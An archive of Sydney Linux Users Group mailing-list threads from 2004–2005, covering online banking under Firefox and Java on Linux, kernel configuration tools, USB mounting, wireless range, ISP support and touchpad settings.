[SLUG] St George internet banking on linux
Hi all, I just signed up to this ML after doing a search on Linux internet banking support in Australia. I am currently with St George and like in the post dated 23 Oct 2004 I cannot use it with Linux. Several months ago I did raise this issue with St George. I noted that it really takes quite an effort to make a Java application platform dependant. I got the typical "we don't support it" response. I mailed support with a request that they should honour the non-Windows non-Mac users. The responder promised passing on the information to the developers, which quite frankly I am sure achieved nothing. It always has been the case that one voice achieves nothing but perhaps a more concentrated request from a group of linux users may bring some attention to this problem. Without industry-wide acceptance of Linux as a 'real' operating system, it will fail to attract many users. In the meantime, can anyone recommend a bank that does offer true unlimited internet banking experience? It's sad since I quite like St George and have been with them for years but if they insist on being unreasonable then I will not hesitate giving them the flick. Cheers, Marek Wawrzyczny -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: FW: [SLUG] St George internet banking on linux
Yes, it used to be the case that they only supported the old MS JVM, but they now also support OS X where internet banking works on Safari (the Apple browser based on KDE's (Linux) Konqueror's KHTML engine, ironic isn't it?). Marek Wawrzyczny On Fri, 19 Nov 2004 14:30, Phill wrote: > I found a long time ago that NAB works ok (I haven't checked recently as I > do have to use window$ as my working environment). They use jsp pages so > that should be platform independent. > I have also put the question to St George and have found them to be very > helpful (NOT!). It (though I am not sure) could be that that they have > based there system on the old windows VW like the ATO has with their eBAS > system which (surprise, surpise) is not compatible with anything else but > windows > > Phill > -Original Message- > From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf > Of Marek Wawrzyczny > Sent: Friday, 19 November 2004 1:55 PM > To: [EMAIL PROTECTED] > Subject: [SLUG] St George internet banking on linux > > Hi all, > > I just signed up to this ML after doing a search on Linux internet banking > > support in Australia. > > I am currently with St George and like in the post dated 23 Oct 2004 I > cannot > use it with Linux. > > Several months ago I did raise this issue with St George. I noted that it > really takes quite an effort to make a Java application platform > dependant. I > got the typical "we don't support it" response. I mailed support with a > request that they should honour the non-Windows non-Mac users. The > responder > promised passing on the information to the developers, which quite frankly > I > am sure achieved nothing. > > It always has been the case that one voice achieves nothing but perhaps a > more > concentrated request from a group of linux users may bring some attention > to > this problem. Without industry-wide acceptance of Linux as a 'real' > operating > system, it will fail to attract many users. > > In the meantime, can anyone recommend a bank that does offer true > unlimited > internet banking experience? It's sad since I quite like St George and > have > been with them for years but if they insist on being unreasonable then I > will > not hesitate giving them the flick. > > > Cheers, > > Marek Wawrzyczny > -- > SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ > Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] What QT dev package do I need for make xconfig ?
Seems like you're running Gnome. I have KDE installed on my system which is based on Qt (version 3). Both libqt and libqt-mt have been automatically installed. Of course they're not development libraries. In your case I'd try installing both libqt3-dev and libqt3-mt-dev, I'd imagine they refer to version 3 of Qt. However, I have used xconfig and it's ok but not that great either. There is always menuconfig. I hope this helps. Cheers, Marek Wawrzyczny On Fri, 19 Nov 2004 15:21, Michael Lake wrote: > Hi all > > In compiling kernels I have gconfig OK but its not very good. I wanted > to see what the xconfig is like but I need some QT stuff. > > kernel-source-2.6.8$ make xconfig > * > * Unable to find the QT installation. Please make sure that the > * QT development package is correctly installed and the QTDIR > * environment variable is set to the correct location. > * > make[1]: *** [scripts/kconfig/.tmp_qtcheck] Error 1 > make: *** [xconfig] Error 2 > > Of the ones below what do I actually need. There seems a few qt dev > packages. I dont want to put on unnecessary packages onto my laptop. > > kernel-source-2.6.8$ apt-cache search qt | grep dev > > libqt-dev - Qt GUI development files > libqt-mt-dev - Qt GUI development files (Threaded version) > libqte-mt3-dev - Qt/Embedded GUI (Threaded Version) development files > libqwt-dev - Qt widgets library for technical applications (development) > libqt3-dev - Qt development files > libqt3-mt-dev - Qt development files (Threaded) > > Running PPC / Debian testing. > > Mike > -- > Mike Lake > Caver, Linux enthusiast and interested in anything technical. > > -- > UTS CRICOS Provider Code: 00099F > DISCLAIMER: This email message and any accompanying attachments may contain > confidential information. If you are not the intended recipient, do not > read, use, disseminate, distribute or copy this message or attachments. If > you have received this message in error, please notify the sender > immediately and delete this message. Any views expressed in this message > are those of the individual sender, except where the sender expressly, and > with authority, states them to be the views the University of Technology > Sydney. Before opening any attachments, please check them for viruses and > defects. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] What QT dev package do I need for make xconfig ?
On Fri, 19 Nov 2004 16:00, Michael Lake wrote: > Marek Wawrzyczny wrote: > > Seems like you're running Gnome. I have KDE installed on my system which > > is based on Qt (version 3). Both libqt and libqt-mt have been > > automatically installed. Of course they're not development libraries. In > > your case I'd try installing both libqt3-dev and libqt3-mt-dev, I'd > > imagine they refer to version 3 of Qt. > > > > However, I have used xconfig and it's ok but not that great either. There > > is always menuconfig. > > Actually not running Gnome, just Enlightenment. I have just the libs > required for gconfig. gconfig has some bugs. Some pick boxes show as > selectable but you cant select them. That why I want to see xconfig. > > Yeah I used to use menuconfig but its longwinded to use. > > -- > Mike Lake > Caver, Linux enthusiast and interested in anything technical. Just fired up gconfig... it looks very similar like xconfig. Same menu, menu bar, same tree structure. xconfig also has its share of little "features", I wouldn't anticipate a trouble free transition. For example sometimes items described as module compilable are presented as radio buttons or checkboxes. I have also found trees that go nowhere. But it is nonetheless much faster to use than menuconfig. Marek Wawrzyczny -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] St George internet banking on linux
On Sat, 20 Nov 2004 00:33, Simon Males wrote: > Okay, > > It might be just me. Are you getting the exact problem as the post on > the 23rd of October... blank login screen ? > > http://lists.slug.org.au/archives/slug/2004/10/msg00526.html > > You fail to mention what you have tried: Marek did you try setting the > user agent to Windows (as which has been beaten to death on this list). > > I used to have to do this. Basically I do what DaZZa mentioned, as I > don't have to change anything any more. Make sure you have JVM 1.5 > installed and bank away (Mozilla suite and Firefox). I am using Linux (Gentoo), Sun's Java 1.5 installed. I am using Firefox (latest 1.0.x) browser (but also occasionally Konqueror). Firefox currently has a bug which prevents it from having a modified user agent when running Java. So, if I try to setting the user agent string to something else causes Firefox to crash and burn. Without changing the user agent, I don't even get to the login page. instead get the XP2 users page (ie browser not supported). -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] St George internet banking on linux
Hi all again, I have to resurrect this one since I have humble pie to swallow on this one... St George Internet banking works on Firefox on Linux (without any user agent fixes mind you). How silly did I feel when I realized that recently I lost all my Linux settings, including Firefox's popup blocking settings. Doh! Humbly, Marek Wawrzyczny On Fri, 19 Nov 2004 13:54, Marek Wawrzyczny wrote: > Hi all, > > I just signed up to this ML after doing a search on Linux internet banking > support in Australia. > > I am currently with St George and like in the post dated 23 Oct 2004 I > cannot use it with Linux. <...> > Cheers, > > Marek Wawrzyczny -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] St George internet banking on linux
Hmm, I do have popup blocking enabled... stgeorge.com.au is 'Allowed'. You probably know this already but make sure it's not www.stgeorge.com.au as the popup page comes from ibank.steorge.com.au (or something similar). I'm running Firefox 1.0 release 3. On Wed, 1 Dec 2004 10:19, Mary Gardiner wrote: > On Wed, Dec 01, 2004, Marek Wawrzyczny wrote: > > I have to resurrect this one since I have humble pie to swallow on > > this one... St George Internet banking works on Firefox on Linux > > (without any user agent fixes mind you). How silly did I feel when I > > realized that recently I lost all my Linux settings, including > > Firefox's popup blocking settings. Doh! > > It only seems to work for me if I turn off *all* popup blocking, not > just if I add stgeorge.com.au to the "allowed sites" list. Anyone got > ideas on that one? > > -Mary -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] St George internet banking on linux
Actually I did have a bit of trouble getting Java to work with Firefox, eventually I ended up compiling my own Java JDK, and you then need to simlink the correct Java plugin into the Firefox plugin folder... there are directions somewhere on the web, a search on Google should find them. Not exactly the most user friendly install. Sun should harry up and get it's act together. On Wed, 1 Dec 2004 10:24, Mary Gardiner wrote: > On Wed, Dec 01, 2004, Mary Gardiner wrote: > > It only seems to work for me if I turn off *all* popup blocking, not > > just if I add stgeorge.com.au to the "allowed sites" list. Anyone got > > ideas on that one? > > Actually scratch that, it loads up > https://ibank.stgeorge.com.au/html/redirect.asp for me as a blank page > no matter what I do (popup blocking OFF). The login screen works on > Epiphany though, I just need to get Epiphany to use the Java plugin I > guess. > > -Mary -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] St George internet banking on linux
That's just the thing... "some" java applets also worked for me before, but not all. If I remember correctly, there is some sort of issue with Mozilla based browsers, Java and Motif. If I remember correctly, Motif and the Java plugin have to be compiled using the same gcc and Mozilla browsers, including Firefox use the Motif library. I don't know if this is related to St George in particular, I was also at the time trying to solve another Java problem I was having (with Eclipse). The fact that it works now may be a by product of everything else I have done. Unfortunately I have a very non-standard setup on my very non-standard laptop. In any case, just symlinking the java plugin even in Epiphany may not be enough, you may have to recompile it. Marek Wawrzyczny On Wed, 1 Dec 2004 10:52, Mary Gardiner wrote: > On Wed, Dec 01, 2004, Marek Wawrzyczny wrote: > > Actually I did have a bit of trouble getting Java to work with Firefox, > > eventually I ended up compiling my own Java JDK, and you then need to > > simlink the correct Java plugin into the Firefox plugin folder... there > > are directions somewhere on the web, a search on Google should find them. > > Thanks, Java works under Firefox, I need to figure out where to make the > symlink for Epiphany. > > -Mary -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] USB /dev/???
Using Gentoo Linux, kernel 2.6.10, most of kernel functionality compiled as modules. I have usbd - the USB Daemon installed which does some magic for me. and in the /etc/fstab, I have the following entry # USB Device 1 /dev/sda1 /mnt/usbauto rw,noauto,users,sync,gid=users,umask=0070 0 AFAIK, I have no other special USB settings. I have never connected more than one USB storage device and I do not use other USB deviced, so YMMV, but I have connected and successfully used an external USB HD and a Canon digital camera. Hope this helps, Marek Wawrzyczny On Fri, 3 Dec 2004 15:55, Bruce Badger wrote: > How can I work out the device name of a USB device? > > So, I plug in my USB device. I see the device in usbview. How can I > work out what node in the /dev/ tree has been mapped to the device I > just plugged in? > > Thanks. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] wireless brick buildings
Hi all, Done wave theory a looong while back so... Brick walls themselves will be fine. Problems may arrise with power lines (RF interference), metal pipes (water, gas), air conditioning ducts, and reinforcement (in brick and some types of gyprock. But I think you'll get more interference from electrical appliances. I once used my laptop inside a high rise apartment and detected several business grade commercial wireless networks. The nearest commercial building must have been 200 metres away but I could not take a guess at the actual location of the transmitters. and I was getting reasonable strength signal though. If I were you I'd ask your friends to see if two have wireless cards/modems, get them to try and setup a network between the two locations to see if they are good for a wireless network. On Mon, 6 Dec 2004 10:45, Rev Simon Rumble wrote: > This one time, at band camp, David wrote: > > I was thinking of setting up a wireless lan between two adjoining > > terraces houses, but the nice man at the shop said that the signal > > wouldn't pass through the brick walls. Is this so? If not, where should I > > go to find a nice man who knows more about it. > > He's covering his butt in case you come back and say it doesn't work. > Brick walls may well be a problem, depending on their composition, but > also may be just fine. > > A guy two doors up shares my net connection without problems. My AP is > close to the window, his is too. He asked me to move it a little closer > a while back, as he was having patchy connectivity. Since moving it, no > problems. > > These are, of course, Georgian terrace buildings in London so the > materials and construction techniques could be different, but the signal > will bend somewhat around the side of the building over short distances. > > Most Sydney terraces have wooden balconies, so an AP stuck out there > would easily reach into next door. You could do some basic > weatherproofing (inside a plastic tupperware container with silicone > sealing the wires in) and, being on the veranda, an AP that doesn't > generate too much heat would be okay. Or just use a short piece > of the appropriate coax to extend the antenna. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Adobe/Microsoft/Apple
On Thu, 9 Dec 2004 09:57, David wrote: > I've been trying to persuade someone I know that his idea of "security" > isn't very secure, when he sent me this: > > things I'd probably dump MS altogether and invest some time/effort/cash in > Linux and related but too many clients (pretty much like me, really :-) > have too much data in MS OS and/or apps (Over 1500GB last count) and find > Mac's dwindling software market and 'design' obsessions a little worrying > (Adobe's latest realtime dv editor - Premiere Pro - is not being produced > for Mac... ^^^ > > Can this really be true? Given that this has always been Apple's strength, > it couldn't be good for Apple. What are the implications for the Linux > world if Apple go the way of Amiga etc. I personally see Apple being just another MS, had it had MS's marketshare, even worse. A lot of Apple followers are very evangelistic about their OS. I have to admit though, OS X shines and the Apple boxes/laptops... I wish PCs were made this way. Still, I go with PC hardware and Linux. As for dwindling software on Apple, when it comes to digital imaging and video production, Apple is targetting these areas very aggressively. Take a look at what happened to Maya... Also, from a hardware perspective, Apple is coming up with technologies that definedly make image processing easier (fibre channel servers, the upcoming network sharing protocols where your comp's hard drive becomes part of one big shared networked drive). Apple is gaining recognition in the film making industry as the budget, but definedly capable solution, not quite where SGI is, but gaining momentum, and this sort of development is going to trickle down (and has been trickling) to the customer market. Marek Wawrzyczny -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Adobe/Microsoft/Apple
On Thu, 9 Dec 2004 10:46, Marek Wawrzyczny wrote: > On Thu, 9 Dec 2004 09:57, David wrote: > > I've been trying to persuade someone I know that his idea of "security" > > isn't very secure, when he sent me this: > > > > things I'd probably dump MS altogether and invest some time/effort/cash > > in Linux and related but too many clients (pretty much like me, really > > :-) have too much data in MS OS and/or apps (Over 1500GB last count) and > > find Mac's dwindling software market and 'design' obsessions a little > > worrying (Adobe's latest realtime dv editor - Premiere Pro - is not being > > produced for Mac... ^^^ > > > > Can this really be true? Given that this has always been Apple's > > strength, it couldn't be good for Apple. What are the implications for > > the Linux world if Apple go the way of Amiga etc. > > I personally see Apple being just another MS, had it had MS's marketshare, > even worse. A lot of Apple followers are very evangelistic about their OS. > I have to admit though, OS X shines and the Apple boxes/laptops... I wish > PCs were made this way. Still, I go with PC hardware and Linux. > > As for dwindling software on Apple, when it comes to digital imaging and > video production, Apple is targetting these areas very aggressively. Take a > look at what happened to Maya... > > Also, from a hardware perspective, Apple is coming up with technologies > that definedly make image processing easier (fibre channel servers, the > upcoming network sharing protocols where your comp's hard drive becomes > part of one big shared networked drive). Apple is gaining recognition in > the film making industry as the budget, but definedly capable solution, not > quite where SGI is, but gaining momentum, and this sort of development is > going to trickle down (and has been trickling) to the customer market. > > Marek Wawrzyczny Just realized my mistake... Apple bought out Shake, not Maya... I always get the two confused somehow, however, Maya is natively available for OS X and was released quite soon after OS X went to 10.2 (I think). Cheers, Marek -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] no XP boot with ubuntu, dialup weirdness
On Fri, 10 Dec 2004 10:22, Brad Kowalczyk wrote: > Hi all, > > Couple of questions: > 1. I got my ubuntu cd's the the other day (BTW the live cd did not work > for me, seemed to die at X startup, just a black screen) and promptly > did an install onto a vacant partition on my HD. Everything ran > smoothly, detected all my hardware and my XP installation. However > despite XP being on the grub boot list it now refuses to boot. <...> Would you be able to provide the contents of your grub.conf file? You should find it inside your /boot/grub dir. Make sure to mount /boot if it is not mounted by default. Regarding browsing your XP partition, it is most likely that your XP installation is on a NTFS partition. I don't know Ubuntu, but it may either be that NTFS support has not been compiled into the kernel, or as a module, or if it has been compiled as a module it is not being loaded. Many linux distros now have a module autoloading mechanisms... but again, I don't know Ubuntu. Bottom line is, you should be able to browse your NTFS partition. Note, AFAIK NTFS should at present be used READ ONLY. Write support is preliminary and dangerous. I have a second FAT32 windows partition where I store shared files. > 2. I finally managed to get my computer connected to my ISP under Linux > (ubuntu) but despite a connection (dialup) I could not actually access > any address on the net, with either direct IP address or domain name. > Then after I installed FC3 I treid again and this time I got connected > and was able to connect to addresses on the net, but only for a few > minutes before everything came to a halt despite the connection still > being there. I checked /var/log/messages and there is the following > extract: There are so many places where things could go wrong... where to begin :) First try pings... see where the buck stops. It may well be a problem with OptusNet... so see if you can ping the DNS server. If so, check that you can resolve DNS. Then try tracerouting. If not, the the problem is likely to be with either your ppp daemon or your modem driver. What kind of modem are you using? You seem to indicate you had trouble before... what was it, what was your solution? Linux is great when it just works, but when it doesn't... Cheers, Marek Wawrzyczny -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Unwired for Broadband ?
Hehe... is that not true for 99.9% of ISPs? It's not just Linux though, BSD, Unix, OS X... all suffer from the "Oh, if it's not Windows then the problem is at your end..." syndrome. When dealing with them, don't disclose your OS. Marek Wawrzyczny > I've had a lot of DHCP issues as their DHCP server that serves my area > around Central Station keeps running out of leases so I get stuck waiting > for a lease to expire for hours on end and they refuse to purge stale > leases from their database. > > Anyhoo, you may experience a much better service but I'm happy with it's > bang for buck, however, any sort of real time gaming is out of the > question, I got better latency with my 2400baud modem. > > Pete de Zwart. > > -Original Message- > From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf > Of Jason Rennie > Sent: Tuesday, 14 December 2004 1:28 PM > To: [EMAIL PROTECTED] > Subject: Re: [SLUG] Unwired for Broadband ? > > > As with all wireless stuff, your mileage will vary, but it's probably > > worth trying it out. It would be interesting to hear more details about > the disser's experience. There are lots of factors that can make something > "slow and crap". > > Thanks everybody who responded. > > I just thought i'd ask because of the negative comment I heard. > > Based on some comments I got at work about the service, it seems like I > will go with Unwired (or IBurst through Ozemail). > > Jason > -- > SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ > Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Unwired for Broadband ?
Very true, mind you I always get a chuckle when I stump them by starting to diagnose the problem with shell tools over the phone... you quickly get transfered to the right people :) Marek Wawrzyczny On Tue, 14 Dec 2004 14:38, Pete de Zwart wrote: > I managed to navigate through all the layers of tech support troll pits by > implicating that they didn't have opposable thumbs to locate their > posterior given desktop GIS. > > Yes, it is true that the majority of suppliers, except for Telstra Internet > Direct I've found, will not support anything apart from Microsoft Windows. > The problem lies more in the fact that their tech support crew can't > diagnose faults from their end and have to fault find from the customer via > the phone first. > > Seriously, how hard is it to set up a system to check various logs to see > what the problem could be. Not that they even know what the OSI layer model > is to find out where the problem could be. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] OT. disposal of UPS batteries.
On Mon, 13 Dec 2004 18:43, Ben Donohue wrote: > Hi Slugs, > > Just got some new UPS batteries and am wondering where do the old ones go? > Didn't want to just fling them in the bin. > > Any Sydney based battery disposal sites? > Ben I know that MGE certainly excepts old batteries from resellers, not sure about the general public. But since I believe they reuse them, I don't see why not. Perhaps you can contact the manufacturer of your UPS to see if they except them. Marek Wawrzyczny -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
ISP support (Was: [SLUG] Unwired for Broadband ?)
Actually I never suggested the ISPs are anti-OS... In fact any half respecting ISP has systems in place to inform users of network failures. However, this issue goes deeper than just helping someone setup an account or email s/w. I am talking about unwillingness to admit that the problem might be at their end, when the problem is clearly at their end and attempts to blame it on the customer because they are not using Windows. Furthermore, it would not hurt them to hire one Linux support staff for every 10, 20, 100 Windows support staff whatever the user ratio happens to be, would it? At least some Linux enthusiast could get some work if they wanted to... Marek Wawrzyczny On Tue, 14 Dec 2004 22:37, Greg Wright wrote: > Onto the second part, it has nothing to do with anyhing other than > companies cannot train hoardes of support staff on every OS, there are > various reasons for this, but if you are using something other than a > supported OS (such as a form of linux or UNIX), then you do not need the > help from an ISP's help desk other than to ask "Is there any known issues > at this time because (blah)" > > You are responsible for your own systems or network & trying to suggest > that somehow these companies etc are anti is tiring to read, > it also would be good if people change the subject line when they divert > away from the subject. > > Regards > > Greg Wright -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] ALPS (Synaptics) Touchpad, enabling double tap...
Hi Guys, I have a laptop with the ALPS DualPoint touchpad. I have recently upgraded to the 2.6.11 kernel (Gentoo rc1-mm1) and double tapping has stopped working. Dmesg shows the following entries: ALPS Touchpad (Dualpoint) detected Disabling hardware tapping input: AlpsPS/2 ALPS TouchPad on isa0060/serio1 I have always had trouble configuring the touchpad (I've been trying to get the side-scroll functionality working), my attempts to do this in XOrg have always managed to crash the X-Server so I've given up months ago. Double tapping is however something I'm finding difficult to live without... anyone knows how to get this one working? If anyone knows how to get the side-scrolling working... that would be a nice early Easter bonus ;) Relevant snippet of my XOrg config for reference below ;) Cheers, Marek Wawrzyczny <...Cut...> Load "synaptics" <...Cut...> Section "InputDevice" Identifier "Touchpad" Driver "synaptics" Option "Device""/dev/psaux" Option "Protocol" "auto-dev" Option "LeftEdge" "120" Option "RightEdge" "830" Option "TopEdge" "120" Option "BottomEdge""650" Option "FingerLow" "14" Option "FingerHigh""15" Option "MaxTapTime""180" Option "MaxTapMove""110" Option "EmulateMidButtonTime" "75" Option "VertScrollDelta" "20" Option "HorizScrollDelta" "20" Option "MinSpeed" "0.2" Option "MaxSpeed" "0.5" Option "AccelFactor" "0.01" Option "EdgeMotionMinSpeed""15" Option "EdgeMotionMaxSpeed""15" Option "UpDownScrolling" "1" Option "CircularScrolling" "1" Option "CircScrollDelta" "0.1" Option "CircScrollTrigger" "2" EndSection <...Cut...> -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] ALPS (Synaptics) Touchpad, enabling double tap...
Um, I take things partially back... double tap does work... in a weird and yet to be completely understood way. I have to tap in one place once... and then apparently again in a corner... I think. So, umm... does anyone have hints as where the config files for this lie... Oh, btw, I have extensively searched the web again... even had a look at the source for the alps driver... but can't for the life of me figure this one out... Any help greatly appreciated in advance... Cheers, Really really puzzled Marek Wawrzyczny On Tue, 18 Jan 2005 11:25, Marek Wawrzyczny wrote: > Hi Guys, > > I have a laptop with the ALPS DualPoint touchpad. I have recently upgraded > to the 2.6.11 kernel (Gentoo rc1-mm1) and double tapping has stopped > working. > > Dmesg shows the following entries: > > ALPS Touchpad (Dualpoint) detected > Disabling hardware tapping > input: AlpsPS/2 ALPS TouchPad on isa0060/serio1 > > I have always had trouble configuring the touchpad (I've been trying to get > the side-scroll functionality working), my attempts to do this in XOrg have > always managed to crash the X-Server so I've given up months ago. > > Double tapping is however something I'm finding difficult to live > without... anyone knows how to get this one working? If anyone knows how to > get the side-scrolling working... that would be a nice early Easter bonus > ;) > > Relevant snippet of my XOrg config for reference below ;) > > Cheers, > > Marek Wawrzyczny > > <...Cut...> > Load "synaptics" > > <...Cut...> > > Section "InputDevice" > Identifier "Touchpad" > Driver "synaptics" > Option "Device""/dev/psaux" > Option "Protocol" "auto-dev" > Option "LeftEdge" "120" > Option "RightEdge" "830" > Option "TopEdge" "120" > Option "BottomEdge""650" > Option "FingerLow" "14" > Option "FingerHigh""15" > Option "MaxTapTime""180" > Option "MaxTapMove""110" > Option "EmulateMidButtonTime" "75" > Option "VertScrollDelta" "20" > Option "HorizScrollDelta" "20" > Option "MinSpeed" "0.2" > Option "MaxSpeed" "0.5" > Option "AccelFactor" "0.01" > Option "EdgeMotionMinSpeed""15" > Option "EdgeMotionMaxSpeed""15" > Option "UpDownScrolling" "1" > Option "CircularScrolling" "1" > Option "CircScrollDelta" "0.1" > Option "CircScrollTrigger" "2" > EndSection > > <...Cut...> -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] St George Internet Banking
Hi, I am using St George internet banking on Gentoo Linux Firefox 1.0 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041116 Firefox/1.0). It works perfectly for me, no workarounds, no agent spoofing, simply following the site's links. I was unable to use internet banking until I compiled and installed Sun's JDK 1.5.0 (I do a bit of coding, I'm sure the JRE would work too). I also seem to remember to had to link the java plugin manually and I had a problem where the Mozilla Java plugin had to be compiled using a similar version of c compiler (gcc) as the browser (I think). I cannot remember the exact details of the problem or the solution unfortunately, but a search on Google may yield something. The key was to search for a Mozilla Java problem as opposed to a Firefox Java problem. I hope this helps someone out there. Cheers, Marek Wawrzyczny On Thu, 20 Jan 2005 11:13, Mary Gardiner wrote: > Note for people tracking this: I tend to try and keep up with the latest > developments at http://puzzling.org/computing/help/banking -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] St George Internet Banking
I should have thought of that, I'll send one now. Cheers, Marek Wawrzyczny On Thu, 20 Jan 2005 19:48, Rod Butcher wrote: > I can confirm that Firefox 1 + Sun Java 1.5 + the ?bhjs=0 doodad at the > end of the redirect URL works OK without any spoofing now, I've just > completed a transaction. > How about we together approach StGeorge and :- > 1. Thank them for getting it to work (well almost) - hey, everybody > likes praise. > 2. Tell them all they now need to do is fixup the problem requiring the > ?bhjs=0 doodad... should only cost them say 3 manweeks. We could even > give them the full solution. > 3. Recommend they add Galeon & Firefox 1 + Sun Java 1.5 on Linux to > their list of "Supported Platforms / Clients" listed on the website, and > in future continue to support at least this combination. > > Rod > > Brought to you by a thunderbird, penguin, gnu and a camel > > John Clarke wrote: > > On Thu, Jan 20, 2005 at 11:13:43 +1100, Mary Gardiner wrote: > >>Note for people tracking this: I tend to try and keep up with the latest > >>developments at http://puzzling.org/computing/help/banking > > > > I've read reports that it doesn't work with Galeon, and after trying > > many times I was starting to believe them ... but today, I finally > > got it to work with Galeon 1.2.11 (RH 7.3). It needs: > > > > - Sun Java 1.5.0 (jre-1.5.0_01-fcs). Sun j2re-1.4.2_06-fcs (or any > > other 1.4.x) doesn't work. Blackdown Java doesn't work. If you have > > an earlier version of Java installed, you must restart your browser > > after installing 1.5.0. > > > > - Go to https://ibank.stgeorge.com.au/html/redirect.asp?bhjs=0. No user > > agent spoofing is necessary (good, because Galeon won't do it). > > > > - Cookies (expire at end of session, accept from current server only), > > pop-ups, Java and Javascript must all be enabled. > > > > > > Cheers, > > > > John -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Hostile LANs [ADVERT I guess...]
Not that I deal with that stuff, but here at work they sell Astaro (www.astaro.com.au) it is a commercial package. It's a firewall/gateway/email gateway/proxy/virus filter/analysis tool/integrated snort and much more. It's essentially a Linux system (software) with a nice and easy to use web interface and automatic updates. If that's not your cup of tea, it may at least give you ideas about what is needed or nice to have in such a setup. Marek Wawrzyczny On Tue, 1 Feb 2005 04:55, Howard Lowndes wrote: > I have been asked to set up multiple LANs with Internet access in what I > consider to be a hostile environment - a private uni student dorm > complex. > > Basically it will be Linux gateways with most probably Winblows or Mac > boxes on the LANs. > > As far as possible I will be locating the gateway boxes in as physically > secure an area as I can, but even so I will need to be looking at > security as regards access to the gateways as well as network security. > > My thoughts so far are: > > 1. BIOS password has very limited effect. > 2. GRUB password to prevent editing the GRUB boot strings. > 3. Locked cases with no CD or floppy - how can I prevent USB drives > being attached without disabling the USB bus in the BIOS. My thinking > here is that I will use the USB bus to connect to the Internet modem and > the Ethernet connection to connect to the LAN. Perhaps I might be > better off to totally disable the USB bus in the BIOS and use a second > Ethernet connection to connect to the Internet modem. > 4. SNORT on all interfaces. > 5. Traffic volume monitoring and reporting with traffic shaping for over > quota - what are the privacy considerations here? RRDTOOLS - anything > else here? > 6. Tight access control into the gateway boxes themselves - no user > accounts. > 7. Normal filtering of Internet nasties. > 8. How do I look for (possibly infringing) P2P traffic? > 9. I will need to allow for HTTP, HTTPS, SMTP, POP3, but what ports > should I allow for the various IMs, a/v streaming, IRC (6667), what > else? I might also need to cater for IPSec tunnelling - I know what is > needed there. > 10. As this is a private dorm complex, what about AUPs between the > students and the landlord. > > OK, that's just immediate random thoughts. Would anyone care to add to > my worry list, esp anyone who has sysadmin experience in a > hostile^H^H^H^Hstudent environment. :) > > > -- > Howard. > LANNet Computing Associates; > Your Linux people <http://www.lannetlinux.com> > -- > "When you just want a system that works, you choose Linux; > when you want a system that just works, you choose Microsoft." > -- > "Flatter government, not fatter government; > Get rid of the Australian states." -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Linux rox...
